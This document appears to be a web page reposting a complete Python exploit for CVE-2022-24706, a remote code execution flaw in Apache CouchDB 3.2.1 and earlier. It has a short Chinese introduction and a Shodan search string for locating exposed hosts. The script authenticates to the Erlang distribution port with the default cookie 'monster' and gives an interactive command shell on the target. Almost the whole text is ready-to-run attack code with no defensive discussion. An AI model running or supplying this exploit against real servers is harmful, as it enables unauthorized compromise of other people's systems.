Apache CouchDB epmd 远程命令执行漏洞

CVE-2022-24706 Apache couchdb 默认erlang-cookie的RCE漏洞

该exp为交互式命令执行利用脚本

  1. # Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
  2. # Date: 2022-01-21
  3. # Exploit Author: Konstantin Burov, @_sadshade
  4. # Software Link: https://couchdb.apache.org/
  5. # Version: 3.2.1 and below
  6. # Tested on: Kali 2021.2
  7. # Based on 1F98D's Erlang Cookie - Remote Code Execution
  8. # Shodan: port:4369 "name couchdb at"
  9. # CVE: CVE-2022-24706
  10. # References:
  11. # https://habr.com/ru/post/661195/
  12. # https://www.exploit-db.com/exploits/49418
  13. # https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  14. # https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
  15. #
  16. #
  17. #!/usr/local/bin/python3
  18. import socket
  19. from hashlib import md5
  20. import struct
  21. import sys
  22. import re
  23. import time
  24. TARGET = ""
  25. EPMD_PORT = 4369 # Default Erlang distributed port
  26. COOKIE = "monster" # Default Erlang cookie for CouchDB
  27. ERLNAG_PORT = 0
  28. EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
  29. # Some data:
  30. NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
  31. CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
  32. CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
  33. CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
  34. def compile_cmd(CMD):
  35. MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
  36. MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
  37. MSG += struct.pack(">H", len(CMD))
  38. MSG += bytes(CMD, 'ascii')
  39. MSG += b'jw\x04user'
  40. PAYLOAD = b'\x70' + CTRL_DATA + MSG
  41. PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
  42. return PAYLOAD
  43. print("Remote Command Execution via Erlang Distribution Protocol.\n")
  44. while not TARGET:
  45. TARGET = input("Enter target host:\n> ")
  46. # Connect to EPMD:
  47. try:
  48. epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  49. epm_socket.connect((TARGET, EPMD_PORT))
  50. except socket.error as msg:
  51. print("Couldnt connect to EPMD: %s\n terminating program" % msg)
  52. sys.exit(1)
  53. epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
  54. if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
  55. data = epm_socket.recv(1024)
  56. data = data[0:len(data) - 1].decode('ascii')
  57. data = data.split("\n")
  58. if len(data) == 1:
  59. choise = 1
  60. print("Found " + data[0])
  61. else:
  62. print("\nMore than one node found, choose which one to use:")
  63. line_number = 0
  64. for line in data:
  65. line_number += 1
  66. print(" %d) %s" %(line_number, line))
  67. choise = int(input("\n> "))
  68. ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
  69. else:
  70. print("Node list request error, exiting")
  71. sys.exit(1)
  72. epm_socket.close()
  73. # Connect to Erlang port:
  74. try:
  75. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  76. s.connect((TARGET, ERLNAG_PORT))
  77. except socket.error as msg:
  78. print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
  79. sys.exit(1)
  80. s.send(NAME_MSG)
  81. s.recv(5) # Receive "ok" message
  82. challenge = s.recv(1024) # Receive "challenge" message
  83. challenge = struct.unpack(">I", challenge[9:13])[0]
  84. #print("Extracted challenge: {}".format(challenge))
  85. # Add Challenge Digest
  86. CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
  87. + bytes(str(challenge), "ascii")).digest()
  88. s.send(CHALLENGE_REPLY)
  89. CHALLENGE_RESPONSE = s.recv(1024)
  90. if len(CHALLENGE_RESPONSE) == 0:
  91. print("Authentication failed, exiting")
  92. sys.exit(1)
  93. print("Authentication successful")
  94. print("Enter command:\n")
  95. data_size = 0
  96. while True:
  97. if data_size <= 0:
  98. CMD = input("> ")
  99. if not CMD:
  100. continue
  101. elif CMD == "exit":
  102. sys.exit(0)
  103. s.send(compile_cmd(CMD))
  104. data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
  105. s.recv(45) # Control message
  106. data_size -= 45 # Data size without control message
  107. time.sleep(0.1)
  108. elif data_size < 1024:
  109. data = s.recv(data_size)
  110. #print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
  111. time.sleep(0.1)
  112. print(data.decode())
  113. data_size = 0
  114. else:
  115. data = s.recv(1024)
  116. #print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
  117. time.sleep(0.1)
  118. print(data.decode(),end = '')
  119. data_size -= 1024